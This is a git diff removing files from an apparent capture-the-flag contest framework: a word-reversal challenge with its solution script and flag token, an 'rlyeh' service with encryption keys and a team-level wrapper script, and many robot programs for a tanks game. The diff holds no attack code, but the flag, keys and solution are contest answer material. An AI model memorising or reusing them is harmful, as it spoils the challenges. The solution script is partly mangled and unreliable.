fgets(token, sizeof(token), tokenin)) { - fprintf(stderr, "Error reading token.\n"); - return 1; - } - - fclose(tokenin); - } - - -#ifndef DEBUG - /* don't hang around forever waiting for input */ - alarm(3); -#endif - - srandom(time(NULL) * getpid()); - - for (i = 0; i < 12; i += 1) { - if (-1 == once()) { - printf("tahT saw ton tahw I saw gnitcepxe\n"); - return 1; - } - } - fputs(token, stdout); - - return 0; -} diff --git a/packages/revwords/src/solution.sh b/packages/revwords/src/solution.sh deleted file mode 100755 index da8910d..0000000 --- a/packages/revwords/src/solution.sh +++ /dev/null @@ -1,19 +0,0 @@ -#! /bin/sh - -## Run like this: -## -## socat EXEC:./solution.sh EXEC:./revwords 3&2 - enil=$(lrev $line) - echo $enil -done \ No newline at end of file diff --git a/packages/revwords/tokens.txt b/packages/revwords/tokens.txt deleted file mode 100644 index 58c779f..0000000 --- a/packages/revwords/tokens.txt +++ /dev/null @@ -1 +0,0 @@ -net:xetil-tuhet-calyx diff --git a/packages/rlyeh/rlyeh.mk b/packages/rlyeh/rlyeh.mk deleted file mode 100644 index 08ec44d..0000000 --- a/packages/rlyeh/rlyeh.mk +++ /dev/null @@ -1,26 +0,0 @@ -RLYEH_PKGDIR = $(TARGET)/rlyeh -RLYEH_BUILDDIR = $(BUILD)/rlyeh -RLYEH_CACHE = $(CACHE)/rlyeh.git -RLYEH_URL = "http://woozle.org/~neale/projects/rlyeh" - -$(RLYEH_CACHE): - git clone --bare $(RLYEH_URL) $@ - -rlyeh-source: $(RLYEH_BUILDDIR) -$(RLYEH_BUILDDIR): $(RLYEH_CACHE) - git clone $< $@ - -rlyeh-build: rlyeh-source - $(MAKE) -C $(RLYEH_BUILDDIR) - -rlyeh-install: rlyeh-build - mkdir -p $(RLYEH_PKGDIR)/bin - cp $(RLYEH_BUILDDIR)/rlyeh $(RLYEH_PKGDIR)/bin - - $(call COPYTREE, packages/rlyeh/service, $(RLYEH_PKGDIR)/service) - $(call COPYTREE, packages/rlyeh/tokens, $(RLYEH_PKGDIR)/tokens) - -rlyeh-clean: - rm -rf $(RLYEH_BUILDDIR) - -PACKAGES += rlyeh diff --git a/packages/rlyeh/service/rlyeh/finish b/packages/rlyeh/service/rlyeh/finish deleted file mode 100755 index 9721530..0000000 --- a/packages/rlyeh/service/rlyeh/finish +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -dbip -d diff --git a/packages/rlyeh/service/rlyeh/ip.txt b/packages/rlyeh/service/rlyeh/ip.txt deleted file mode 100644 index 04f9fe4..0000000 --- a/packages/rlyeh/service/rlyeh/ip.txt +++ /dev/null @@ -1 +0,0 @@ -59 diff --git a/packages/rlyeh/service/rlyeh/log/run b/packages/rlyeh/service/rlyeh/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/rlyeh/service/rlyeh/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/rlyeh/service/rlyeh/rlyeh-ctf b/packages/rlyeh/service/rlyeh/rlyeh-ctf deleted file mode 100755 index 63a3e8f..0000000 --- a/packages/rlyeh/service/rlyeh/rlyeh-ctf +++ /dev/null @@ -1,44 +0,0 @@ -#! /bin/sh - -STATE=$CTF_BASE/state - -echo -n "Team hash: " -read -r teamhash - -if ! [ -f $STATE/teams/names/"$teamhash" ]; then - echo 'No such team.' - exit -fi - -cd $STATE/rlyeh - -if [ -f $teamhash ]; then - now=$(date +%s) - ts=$(stat -c %Y $teamhash) - d=$(expr $now - $ts) - if [ $d -lt 60 ]; then - echo 'You are trying to connect too fast.' - exit - fi -else - echo 1 > $teamhash -fi -read level < $teamhash - -( - if ! flock -n 8; then - echo 'Your team is already logged in.' - exit - fi - - echo "Your team is on level $level." - echo - - if setuidgid nobody rlyeh $level; then - arc4 $CTF_BASE/packages/rlyeh/tokens/rlyeh/enc.key < $$CTF_BASE/state/rlyeh/tokens.txt - echo - expr $level + 1 > $teamhash - else - touch $teamhash - fi -) 8<$teamhash diff --git a/packages/rlyeh/service/rlyeh/run b/packages/rlyeh/service/rlyeh/run deleted file mode 100755 index 6060676..0000000 --- a/packages/rlyeh/service/rlyeh/run +++ /dev/null @@ -1,11 +0,0 @@ -#! /bin/sh -e - -exec 2>&1 - -IP=$(dbip -a) - -dir=/var/lib/ctf/rlyeh -install -o nobody -d $dir - -PATH=/opt/ctfbase/bin:/opt/rlyeh/bin:/bin:/sbin; export PATH -exec tcpsvd ${IP%/*} 1928 ./rlyeh-ctf diff --git a/packages/rlyeh/tokens/rlyeh/category b/packages/rlyeh/tokens/rlyeh/category deleted file mode 100644 index 0724055..0000000 --- a/packages/rlyeh/tokens/rlyeh/category +++ /dev/null @@ -1 +0,0 @@ -rlyeh diff --git a/packages/rlyeh/tokens/rlyeh/category.key b/packages/rlyeh/tokens/rlyeh/category.key deleted file mode 100644 index 8d72a26..0000000 --- a/packages/rlyeh/tokens/rlyeh/category.key +++ /dev/null @@ -1 +0,0 @@ -qVA.SF֨,.} \ No newline at end of file diff --git a/packages/rlyeh/tokens/rlyeh/enc.key b/packages/rlyeh/tokens/rlyeh/enc.key deleted file mode 100644 index 34a088b..0000000 --- a/packages/rlyeh/tokens/rlyeh/enc.key +++ /dev/null @@ -1 +0,0 @@ -7X)> !r|! \ No newline at end of file diff --git a/packages/tanks/examples/hard/antlion/author b/packages/tanks/examples/hard/antlion/author deleted file mode 100644 index 1718d06..0000000 --- a/packages/tanks/examples/hard/antlion/author +++ /dev/null @@ -1 +0,0 @@ -Nick Moffitt diff --git a/packages/tanks/examples/hard/antlion/name b/packages/tanks/examples/hard/antlion/name deleted file mode 100644 index baf3147..0000000 --- a/packages/tanks/examples/hard/antlion/name +++ /dev/null @@ -1 +0,0 @@ -Ant Lion diff --git a/packages/tanks/examples/hard/antlion/program b/packages/tanks/examples/hard/antlion/program deleted file mode 100644 index beb83bd..0000000 --- a/packages/tanks/examples/hard/antlion/program +++ /dev/null @@ -1,22 +0,0 @@ -get-turret 6 + set-turret! -0 0 set-speed! - -1 sensor? { get-turret 60 - set-turret! } if -2 sensor? { get-turret 60 + set-turret! } if -0 sensor? { - fire-ready? { 0 0 set-speed! fire! } if - fire-ready? ! set-led! -} if - -6 sensor? { - 0 set-turret! ( stay on target, stay on target... ) - 3 sensor? { -40 -40 set-speed! } if ( back dat tank up ) - 4 sensor? { 25 50 set-speed! } if ( hook ) - 5 sensor? { 50 25 set-speed! } if ( slice ) -} { - 3 sensor? { -100 -100 set-speed! } if ( back dat tank up ) - 4 sensor? { 50 100 set-speed! } if ( hook ) - 5 sensor? { 100 50 set-speed! } if ( slice ) -} ifelse - - diff --git a/packages/tanks/examples/hard/antlion/sensor0 b/packages/tanks/examples/hard/antlion/sensor0 deleted file mode 100644 index 469111b..0000000 --- a/packages/tanks/examples/hard/antlion/sensor0 +++ /dev/null @@ -1 +0,0 @@ -50 0 5 1 diff --git a/packages/tanks/examples/hard/antlion/sensor1 b/packages/tanks/examples/hard/antlion/sensor1 deleted file mode 100644 index 14bda08..0000000 --- a/packages/tanks/examples/hard/antlion/sensor1 +++ /dev/null @@ -1 +0,0 @@ -100 268 177 1 diff --git a/packages/tanks/examples/hard/antlion/sensor2 b/packages/tanks/examples/hard/antlion/sensor2 deleted file mode 100644 index f5fdaac..0000000 --- a/packages/tanks/examples/hard/antlion/sensor2 +++ /dev/null @@ -1 +0,0 @@ -100 92 178 1 diff --git a/packages/tanks/examples/hard/antlion/sensor3 b/packages/tanks/examples/hard/antlion/sensor3 deleted file mode 100644 index 4b63c75..0000000 --- a/packages/tanks/examples/hard/antlion/sensor3 +++ /dev/null @@ -1 +0,0 @@ -60 0 120 diff --git a/packages/tanks/examples/hard/antlion/sensor4 b/packages/tanks/examples/hard/antlion/sensor4 deleted file mode 100644 index ae2a212..0000000 --- a/packages/tanks/examples/hard/antlion/sensor4 +++ /dev/null @@ -1 +0,0 @@ -60 120 120 diff --git a/packages/tanks/examples/hard/antlion/sensor5 b/packages/tanks/examples/hard/antlion/sensor5 deleted file mode 100644 index b9e2568..0000000 --- a/packages/tanks/examples/hard/antlion/sensor5 +++ /dev/null @@ -1 +0,0 @@ -60 240 120 diff --git a/packages/tanks/examples/hard/antlion/sensor6 b/packages/tanks/examples/hard/antlion/sensor6 deleted file mode 100644 index 13994b7..0000000 --- a/packages/tanks/examples/hard/antlion/sensor6 +++ /dev/null @@ -1 +0,0 @@ -100 0 5 1 diff --git a/packages/tanks/examples/hard/chashtank/author b/packages/tanks/examples/hard/chashtank/author deleted file mode 100644 index e4503eb..0000000 --- a/packages/tanks/examples/hard/chashtank/author +++ /dev/null @@ -1 +0,0 @@ -Curtis Hash diff --git a/packages/tanks/examples/hard/chashtank/name b/packages/tanks/examples/hard/chashtank/name deleted file mode 100644 index b925208..0000000 --- a/packages/tanks/examples/hard/chashtank/name +++ /dev/null @@ -1 +0,0 @@ -ChashTank diff --git a/packages/tanks/examples/hard/chashtank/program b/packages/tanks/examples/hard/chashtank/program deleted file mode 100644 index dcaa57b..0000000 --- a/packages/tanks/examples/hard/chashtank/program +++ /dev/null @@ -1,41 +0,0 @@ -( move back and forth ) -0 set-turret! -6 random 2 < { 95 75 set-speed! } { 90 90 set-speed! } ifelse - -( rear sensor ) -4 sensor? { 90 90 set-speed! } if - -( far right front sensor ) -5 sensor? { 100 -100 set-speed! } if - -( far left front sensor ) -6 sensor? { -100 100 set-speed! } if - -( right front sensor ) -2 sensor? { 80 -80 set-speed! } if - -( left front sensor ) -3 sensor? { -80 80 set-speed! } if - -( immediate front sensor in firing range ) -0 sensor? -{ - fire-ready? - { fire! } - { -50 -50 set-speed! } - ifelse -} -if - -( near far right front sensor ) -8 sensor? { 60 -60 set-speed! } if -9 sensor? { -60 60 set-speed! } if - -fire-ready? set-led! - -( front far sensor ) -7 sensor? fire-ready? & { 100 100 set-speed! } if - -( collison sensor ) -1 sensor? { -100 -100 set-speed! 0 set-turret! } if - diff --git a/packages/tanks/examples/hard/chashtank/sensor0 b/packages/tanks/examples/hard/chashtank/sensor0 deleted file mode 100644 index b5725bf..0000000 --- a/packages/tanks/examples/hard/chashtank/sensor0 +++ /dev/null @@ -1 +0,0 @@ -50 0 10 1 diff --git a/packages/tanks/examples/hard/chashtank/sensor1 b/packages/tanks/examples/hard/chashtank/sensor1 deleted file mode 100644 index 6ffe40c..0000000 --- a/packages/tanks/examples/hard/chashtank/sensor1 +++ /dev/null @@ -1 +0,0 @@ -35 0 90 0 diff --git a/packages/tanks/examples/hard/chashtank/sensor2 b/packages/tanks/examples/hard/chashtank/sensor2 deleted file mode 100644 index b9fcdad..0000000 --- a/packages/tanks/examples/hard/chashtank/sensor2 +++ /dev/null @@ -1 +0,0 @@ -100 30 59 0 diff --git a/packages/tanks/examples/hard/chashtank/sensor3 b/packages/tanks/examples/hard/chashtank/sensor3 deleted file mode 100644 index dfda664..0000000 --- a/packages/tanks/examples/hard/chashtank/sensor3 +++ /dev/null @@ -1 +0,0 @@ -100 330 59 0 diff --git a/packages/tanks/examples/hard/chashtank/sensor4 b/packages/tanks/examples/hard/chashtank/sensor4 deleted file mode 100644 index a18b6ea..0000000 --- a/packages/tanks/examples/hard/chashtank/sensor4 +++ /dev/null @@ -1 +0,0 @@ -70 180 180 0 diff --git a/packages/tanks/examples/hard/chashtank/sensor5 b/packages/tanks/examples/hard/chashtank/sensor5 deleted file mode 100644 index f7ddaaa..0000000 --- a/packages/tanks/examples/hard/chashtank/sensor5 +++ /dev/null @@ -1 +0,0 @@ -100 90 59 0 diff --git a/packages/tanks/examples/hard/chashtank/sensor6 b/packages/tanks/examples/hard/chashtank/sensor6 deleted file mode 100644 index a6561dd..0000000 --- a/packages/tanks/examples/hard/chashtank/sensor6 +++ /dev/null @@ -1 +0,0 @@ -100 270 59 0 diff --git a/packages/tanks/examples/hard/chashtank/sensor7 b/packages/tanks/examples/hard/chashtank/sensor7 deleted file mode 100644 index 13994b7..0000000 --- a/packages/tanks/examples/hard/chashtank/sensor7 +++ /dev/null @@ -1 +0,0 @@ -100 0 5 1 diff --git a/packages/tanks/examples/hard/chashtank/sensor8 b/packages/tanks/examples/hard/chashtank/sensor8 deleted file mode 100644 index faf590f..0000000 --- a/packages/tanks/examples/hard/chashtank/sensor8 +++ /dev/null @@ -1 +0,0 @@ -55 50 89 0 diff --git a/packages/tanks/examples/hard/chashtank/sensor9 b/packages/tanks/examples/hard/chashtank/sensor9 deleted file mode 100644 index 31cddcd..0000000 --- a/packages/tanks/examples/hard/chashtank/sensor9 +++ /dev/null @@ -1 +0,0 @@ -55 310 89 0 diff --git a/packages/tanks/examples/hard/crashmaster/author b/packages/tanks/examples/hard/crashmaster/author deleted file mode 100644 index 902019d..0000000 --- a/packages/tanks/examples/hard/crashmaster/author +++ /dev/null @@ -1 +0,0 @@ -Neale Pickett diff --git a/packages/tanks/examples/hard/crashmaster/name b/packages/tanks/examples/hard/crashmaster/name deleted file mode 100644 index e0a2059..0000000 --- a/packages/tanks/examples/hard/crashmaster/name +++ /dev/null @@ -1 +0,0 @@ -Crashmaster diff --git a/packages/tanks/examples/hard/crashmaster/program b/packages/tanks/examples/hard/crashmaster/program deleted file mode 100644 index 288b323..0000000 --- a/packages/tanks/examples/hard/crashmaster/program +++ /dev/null @@ -1,38 +0,0 @@ -( Mem 0: Turn number ) -0 mget -1 + -0 mset - -0 mget 30 % 10 / ( [0..2], changes every 10 turns ) -dup 0 = { 80 80 set-speed! } if -dup 1 = { 60 80 set-speed! } if - 2 = { 80 60 set-speed! } if - -0 set-turret! - -fire-ready? set-led! - -fire-ready? -{ - ( Behavior for when we can shoot ) - - 0 sensor? { fire! } if - 1 sensor? { 10 10 set-speed! 0 set-turret! } if - 2 sensor? { 10 10 set-speed! 0 set-turret! } if - 3 sensor? { 0 60 set-speed! get-turret 50 - set-turret! } if - 4 sensor? { 60 0 set-speed! get-turret 50 + set-turret! } if - 3 sensor? 4 sensor? & { 100 100 set-speed! get-turret set-turret! } if - 5 sensor? { 100 40 set-speed! } if -} -{ - ( Behavior for when we can't shoot ) - - 0 sensor? { 10 20 set-speed! } if - 1 sensor? { 10 10 set-speed! } if - 2 sensor? { 10 20 set-speed! } if - 3 sensor? { 70 50 set-speed! } if - 4 sensor? { 50 70 set-speed! } if - 3 sensor? 4 sensor? & { -100 20 set-speed! } if - 5 sensor? { 100 50 set-speed! } if -} -ifelse diff --git a/packages/tanks/examples/hard/crashmaster/sensor0 b/packages/tanks/examples/hard/crashmaster/sensor0 deleted file mode 100644 index 682dfb9..0000000 --- a/packages/tanks/examples/hard/crashmaster/sensor0 +++ /dev/null @@ -1 +0,0 @@ -50 0 8 1 diff --git a/packages/tanks/examples/hard/crashmaster/sensor1 b/packages/tanks/examples/hard/crashmaster/sensor1 deleted file mode 100644 index a6b17e8..0000000 --- a/packages/tanks/examples/hard/crashmaster/sensor1 +++ /dev/null @@ -1 +0,0 @@ -30 0 50 0 diff --git a/packages/tanks/examples/hard/crashmaster/sensor2 b/packages/tanks/examples/hard/crashmaster/sensor2 deleted file mode 100644 index 7851bcc..0000000 --- a/packages/tanks/examples/hard/crashmaster/sensor2 +++ /dev/null @@ -1 +0,0 @@ -50 0 10 0 diff --git a/packages/tanks/examples/hard/crashmaster/sensor3 b/packages/tanks/examples/hard/crashmaster/sensor3 deleted file mode 100644 index 473e0b5..0000000 --- a/packages/tanks/examples/hard/crashmaster/sensor3 +++ /dev/null @@ -1 +0,0 @@ -100 315 100 1 diff --git a/packages/tanks/examples/hard/crashmaster/sensor4 b/packages/tanks/examples/hard/crashmaster/sensor4 deleted file mode 100644 index cb0e6e2..0000000 --- a/packages/tanks/examples/hard/crashmaster/sensor4 +++ /dev/null @@ -1 +0,0 @@ -100 45 100 1 diff --git a/packages/tanks/examples/hard/crashmaster/sensor5 b/packages/tanks/examples/hard/crashmaster/sensor5 deleted file mode 100644 index 3f436a9..0000000 --- a/packages/tanks/examples/hard/crashmaster/sensor5 +++ /dev/null @@ -1 +0,0 @@ -60 180 180 0 diff --git a/packages/tanks/examples/hard/foobar/author b/packages/tanks/examples/hard/foobar/author deleted file mode 100644 index e4503eb..0000000 --- a/packages/tanks/examples/hard/foobar/author +++ /dev/null @@ -1 +0,0 @@ -Curtis Hash diff --git a/packages/tanks/examples/hard/foobar/name b/packages/tanks/examples/hard/foobar/name deleted file mode 100644 index 323fae0..0000000 --- a/packages/tanks/examples/hard/foobar/name +++ /dev/null @@ -1 +0,0 @@ -foobar diff --git a/packages/tanks/examples/hard/foobar/program b/packages/tanks/examples/hard/foobar/program deleted file mode 100644 index eecd344..0000000 --- a/packages/tanks/examples/hard/foobar/program +++ /dev/null @@ -1,15 +0,0 @@ -65 85 set-speed! - -6 random 2 <= { 85 65 set-speed! } if - -0 set-turret! -2 sensor? { 80 10 set-speed! get-turret 30 + set-turret! } if -3 sensor? { 10 80 set-speed! get-turret 30 - set-turret! } if -4 sensor? { 90 90 set-speed! } if -5 sensor? { 90 10 set-speed! get-turret 30 + set-turret! } if -6 sensor? { 10 90 set-speed! get-turret 30 - set-turret! } if -0 sensor? fire-ready? & { 90 90 set-speed! 0 set-turret! fire! } if -1 sensor? { -100 -100 set-speed! } if - -fire-ready? set-led! - diff --git a/packages/tanks/examples/hard/foobar/sensor0 b/packages/tanks/examples/hard/foobar/sensor0 deleted file mode 100644 index 034e325..0000000 --- a/packages/tanks/examples/hard/foobar/sensor0 +++ /dev/null @@ -1 +0,0 @@ -55 0 5 1 diff --git a/packages/tanks/examples/hard/foobar/sensor1 b/packages/tanks/examples/hard/foobar/sensor1 deleted file mode 100644 index b21565e..0000000 --- a/packages/tanks/examples/hard/foobar/sensor1 +++ /dev/null @@ -1 +0,0 @@ -40 0 30 0 diff --git a/packages/tanks/examples/hard/foobar/sensor2 b/packages/tanks/examples/hard/foobar/sensor2 deleted file mode 100644 index 89ec188..0000000 --- a/packages/tanks/examples/hard/foobar/sensor2 +++ /dev/null @@ -1 +0,0 @@ -80 30 59 0 diff --git a/packages/tanks/examples/hard/foobar/sensor3 b/packages/tanks/examples/hard/foobar/sensor3 deleted file mode 100644 index c438cad..0000000 --- a/packages/tanks/examples/hard/foobar/sensor3 +++ /dev/null @@ -1 +0,0 @@ -80 330 59 0 diff --git a/packages/tanks/examples/hard/foobar/sensor4 b/packages/tanks/examples/hard/foobar/sensor4 deleted file mode 100644 index a18b6ea..0000000 --- a/packages/tanks/examples/hard/foobar/sensor4 +++ /dev/null @@ -1 +0,0 @@ -70 180 180 0 diff --git a/packages/tanks/examples/hard/foobar/sensor5 b/packages/tanks/examples/hard/foobar/sensor5 deleted file mode 100644 index c83a316..0000000 --- a/packages/tanks/examples/hard/foobar/sensor5 +++ /dev/null @@ -1 +0,0 @@ -80 90 59 0 diff --git a/packages/tanks/examples/hard/foobar/sensor6 b/packages/tanks/examples/hard/foobar/sensor6 deleted file mode 100644 index ee3f02a..0000000 --- a/packages/tanks/examples/hard/foobar/sensor6 +++ /dev/null @@ -1 +0,0 @@ -80 270 59 0 diff --git a/packages/tanks/examples/hard/pflarr/author b/packages/tanks/examples/hard/pflarr/author deleted file mode 100644 index 5d7a8e0..0000000 --- a/packages/tanks/examples/hard/pflarr/author +++ /dev/null @@ -1 +0,0 @@ -Paul Ferrell diff --git a/packages/tanks/examples/hard/pflarr/name b/packages/tanks/examples/hard/pflarr/name deleted file mode 100644 index e2f684c..0000000 --- a/packages/tanks/examples/hard/pflarr/name +++ /dev/null @@ -1 +0,0 @@ -Pflanzarr diff --git a/packages/tanks/examples/hard/pflarr/program b/packages/tanks/examples/hard/pflarr/program deleted file mode 100644 index f7df7a1..0000000 --- a/packages/tanks/examples/hard/pflarr/program +++ /dev/null @@ -1,27 +0,0 @@ -70 75 set-speed! -0 set-turret! - -10 random 1 > { 75 75 set-speed! } if - -2 sensor? { - 85 70 set-speed! - 0 sensor? { get-turret 15 + set-turret! } - { get-turret 30 + set-turret! } ifelse -} if -3 sensor? { - 75 80 set-speed! - 0 sensor? { get-turret 15 - set-turret! } - { get-turret 30 - set-turret! } ifelse -} if -5 sensor? { - 7 sensor? { 70 30 set-speed! } if - 8 sensor? { 30 70 set-speed! } if - 0 sensor? { fire! } if - 6 sensor? fire-ready? & { 100 100 set-speed! } if -} if -4 sensor? { 100 100 set-speed! } if -1 sensor? { -50 25 set-speed! } if - -fire-ready? set-led! - - diff --git a/packages/tanks/examples/hard/pflarr/sensor0 b/packages/tanks/examples/hard/pflarr/sensor0 deleted file mode 100644 index c134070..0000000 --- a/packages/tanks/examples/hard/pflarr/sensor0 +++ /dev/null @@ -1 +0,0 @@ -50 0 45 1 diff --git a/packages/tanks/examples/hard/pflarr/sensor1 b/packages/tanks/examples/hard/pflarr/sensor1 deleted file mode 100644 index 5773d18..0000000 --- a/packages/tanks/examples/hard/pflarr/sensor1 +++ /dev/null @@ -1 +0,0 @@ -30 0 180 diff --git a/packages/tanks/examples/hard/pflarr/sensor2 b/packages/tanks/examples/hard/pflarr/sensor2 deleted file mode 100644 index c5e303c..0000000 --- a/packages/tanks/examples/hard/pflarr/sensor2 +++ /dev/null @@ -1 +0,0 @@ -100 40 60 1 diff --git a/packages/tanks/examples/hard/pflarr/sensor3 b/packages/tanks/examples/hard/pflarr/sensor3 deleted file mode 100644 index 4c9cef7..0000000 --- a/packages/tanks/examples/hard/pflarr/sensor3 +++ /dev/null @@ -1 +0,0 @@ -100 320 60 1 diff --git a/packages/tanks/examples/hard/pflarr/sensor4 b/packages/tanks/examples/hard/pflarr/sensor4 deleted file mode 100644 index 8f73117..0000000 --- a/packages/tanks/examples/hard/pflarr/sensor4 +++ /dev/null @@ -1 +0,0 @@ -80 180 160 diff --git a/packages/tanks/examples/hard/pflarr/sensor5 b/packages/tanks/examples/hard/pflarr/sensor5 deleted file mode 100644 index 1212984..0000000 --- a/packages/tanks/examples/hard/pflarr/sensor5 +++ /dev/null @@ -1 +0,0 @@ -100 0 0 1 diff --git a/packages/tanks/examples/hard/pflarr/sensor6 b/packages/tanks/examples/hard/pflarr/sensor6 deleted file mode 100644 index 7d1e8c4..0000000 --- a/packages/tanks/examples/hard/pflarr/sensor6 +++ /dev/null @@ -1 +0,0 @@ -100 0 0 diff --git a/packages/tanks/examples/hard/pflarr/sensor7 b/packages/tanks/examples/hard/pflarr/sensor7 deleted file mode 100644 index b761a40..0000000 --- a/packages/tanks/examples/hard/pflarr/sensor7 +++ /dev/null @@ -1 +0,0 @@ -75 75 30 diff --git a/packages/tanks/examples/hard/pflarr/sensor8 b/packages/tanks/examples/hard/pflarr/sensor8 deleted file mode 100644 index 7b7dcc2..0000000 --- a/packages/tanks/examples/hard/pflarr/sensor8 +++ /dev/null @@ -1 +0,0 @@ -75 285 30 diff --git a/packages/tanks/examples/hard/skirts/author b/packages/tanks/examples/hard/skirts/author deleted file mode 100644 index 902019d..0000000 --- a/packages/tanks/examples/hard/skirts/author +++ /dev/null @@ -1 +0,0 @@ -Neale Pickett diff --git a/packages/tanks/examples/hard/skirts/color b/packages/tanks/examples/hard/skirts/color deleted file mode 100644 index 10dbfa4..0000000 --- a/packages/tanks/examples/hard/skirts/color +++ /dev/null @@ -1 +0,0 @@ -#d0d054 \ No newline at end of file diff --git a/packages/tanks/examples/hard/skirts/name b/packages/tanks/examples/hard/skirts/name deleted file mode 100644 index 4a4b9e0..0000000 --- a/packages/tanks/examples/hard/skirts/name +++ /dev/null @@ -1 +0,0 @@ -skirts \ No newline at end of file diff --git a/packages/tanks/examples/hard/skirts/program b/packages/tanks/examples/hard/skirts/program deleted file mode 100644 index 7fa896f..0000000 --- a/packages/tanks/examples/hard/skirts/program +++ /dev/null @@ -1,58 +0,0 @@ -15 14 set-speed! - -( Front ) -5 sensor? { - get-turret 45 + 90 < { 15 15 } { 2 2 } ifelse set-speed! - 0 set-turret! -} if - -( Rear ) -6 sensor? { - get-turret 45 + 90 < { 2 2 } { -15 -15 } ifelse set-speed! - 180 set-turret! -} if -7 sensor? { - 90 set-turret! - 5 -5 set-speed! -} if -8 sensor? { - -90 set-turret! - -5 5 set-speed! -} if - -1 sensor? { - get-turret 10 + set-turret! -} if - -2 sensor? { - get-turret 10 - set-turret! -} if - -3 sensor? { - get-turret 20 + set-turret! -} if - -4 sensor? { - get-turret 20 - set-turret! -} if - -0 sensor? { - 0 0 set-speed! - get-turret set-turret! - fire! -} if - -fire-ready? ! { - 70 60 10 random + - get-turret 90 + 180 > { exch } if - set-speed! -} if - -9 sensor? { - 5 sensor? { - -100 -100 - } { - 100 100 - } ifelse - set-speed! -} if \ No newline at end of file diff --git a/packages/tanks/examples/hard/skirts/sensor0 b/packages/tanks/examples/hard/skirts/sensor0 deleted file mode 100644 index a6ab06f..0000000 --- a/packages/tanks/examples/hard/skirts/sensor0 +++ /dev/null @@ -1 +0,0 @@ -50 0 7 1 diff --git a/packages/tanks/examples/hard/skirts/sensor1 b/packages/tanks/examples/hard/skirts/sensor1 deleted file mode 100644 index d9fa05d..0000000 --- a/packages/tanks/examples/hard/skirts/sensor1 +++ /dev/null @@ -1 +0,0 @@ -60 10 12 1 diff --git a/packages/tanks/examples/hard/skirts/sensor2 b/packages/tanks/examples/hard/skirts/sensor2 deleted file mode 100644 index bee5d05..0000000 --- a/packages/tanks/examples/hard/skirts/sensor2 +++ /dev/null @@ -1 +0,0 @@ -60 -10 12 1 diff --git a/packages/tanks/examples/hard/skirts/sensor3 b/packages/tanks/examples/hard/skirts/sensor3 deleted file mode 100644 index 0be47b9..0000000 --- a/packages/tanks/examples/hard/skirts/sensor3 +++ /dev/null @@ -1 +0,0 @@ -90 30 40 1 diff --git a/packages/tanks/examples/hard/skirts/sensor4 b/packages/tanks/examples/hard/skirts/sensor4 deleted file mode 100644 index e7609b1..0000000 --- a/packages/tanks/examples/hard/skirts/sensor4 +++ /dev/null @@ -1 +0,0 @@ -90 -30 40 1 diff --git a/packages/tanks/examples/hard/skirts/sensor5 b/packages/tanks/examples/hard/skirts/sensor5 deleted file mode 100644 index 26b41ae..0000000 --- a/packages/tanks/examples/hard/skirts/sensor5 +++ /dev/null @@ -1 +0,0 @@ -60 0 90 0 diff --git a/packages/tanks/examples/hard/skirts/sensor6 b/packages/tanks/examples/hard/skirts/sensor6 deleted file mode 100644 index b69dc3a..0000000 --- a/packages/tanks/examples/hard/skirts/sensor6 +++ /dev/null @@ -1 +0,0 @@ -60 180 90 0 diff --git a/packages/tanks/examples/hard/skirts/sensor7 b/packages/tanks/examples/hard/skirts/sensor7 deleted file mode 100644 index db4c883..0000000 --- a/packages/tanks/examples/hard/skirts/sensor7 +++ /dev/null @@ -1 +0,0 @@ -80 90 90 0 diff --git a/packages/tanks/examples/hard/skirts/sensor8 b/packages/tanks/examples/hard/skirts/sensor8 deleted file mode 100644 index ddfc64e..0000000 --- a/packages/tanks/examples/hard/skirts/sensor8 +++ /dev/null @@ -1 +0,0 @@ -80 270 90 0 diff --git a/packages/tanks/examples/hard/skirts/sensor9 b/packages/tanks/examples/hard/skirts/sensor9 deleted file mode 100644 index 9c9b4e8..0000000 --- a/packages/tanks/examples/hard/skirts/sensor9 +++ /dev/null @@ -1 +0,0 @@ -30 180 345 0 diff --git a/packages/tanks/examples/insane/BoomStick/author b/packages/tanks/examples/insane/BoomStick/author deleted file mode 100644 index eefbad4..0000000 --- a/packages/tanks/examples/insane/BoomStick/author +++ /dev/null @@ -1 +0,0 @@ -Adam \ No newline at end of file diff --git a/packages/tanks/examples/insane/BoomStick/color b/packages/tanks/examples/insane/BoomStick/color deleted file mode 100644 index 0cb011e..0000000 --- a/packages/tanks/examples/insane/BoomStick/color +++ /dev/null @@ -1 +0,0 @@ -#7bdd82 \ No newline at end of file diff --git a/packages/tanks/examples/insane/BoomStick/name b/packages/tanks/examples/insane/BoomStick/name deleted file mode 100644 index 0752946..0000000 --- a/packages/tanks/examples/insane/BoomStick/name +++ /dev/null @@ -1 +0,0 @@ -BoomStick \ No newline at end of file diff --git a/packages/tanks/examples/insane/BoomStick/program b/packages/tanks/examples/insane/BoomStick/program deleted file mode 100644 index 9ed449a..0000000 --- a/packages/tanks/examples/insane/BoomStick/program +++ /dev/null @@ -1,56 +0,0 @@ -0 sensor? { 0 0 mset fire! }if - -0 9 mset - -8 sensor? {-36 get-turret + set-turret! 1 9 mset} if -4 sensor? { 36 get-turret + set-turret! 1 9 mset} if -2 sensor? {-18 get-turret + set-turret! 1 9 mset} if -1 sensor? { 18 get-turret + set-turret! 1 9 mset} if -7 sensor? { 0 get-turret + set-turret! 1 9 mset} if - -fire-ready? -{ - 6 sensor? - { - 9 mget ! { 0 set-turret! } if - 100 100 set-speed! 5 0 mset - } - { - 5 sensor? { 100 -80 set-speed! 5 0 mset} if - 8 sensor? { -80 100 set-speed! 5 0 mset } if - } - ifelse -} -{ - 6 sensor? { 1 set-led! -100 -100 set-speed! 3 0 mset } if - 5 sensor? { 1 set-led! -75 -100 set-speed! 3 0 mset } if - 8 sensor? { 1 set-led! -100 -75 set-speed! 3 0 mset } if -} -ifelse - - -0 mget 0 = -{ - 0 set-led! - 0 set-turret! - - 1 mget 0 = - { - 0 set-turret! - 3 random - dup 0 = {90 90 set-speed! 20 random 1 mset } if - dup 1 = {00 90 set-speed! 3 random 1 mset } if - dup 2 = {90 00 set-speed! 3 random 1 mset } if - } - { - 1 mget 1 - 1 mset - } - ifelse -} -{ - 0 mget 1 - 0 mset -} -ifelse - -3 sensor? { -10 -10 set-speed! 1 0 mset } if - diff --git a/packages/tanks/examples/insane/BoomStick/sensor0 b/packages/tanks/examples/insane/BoomStick/sensor0 deleted file mode 100644 index f810184..0000000 --- a/packages/tanks/examples/insane/BoomStick/sensor0 +++ /dev/null @@ -1 +0,0 @@ -50 0 2 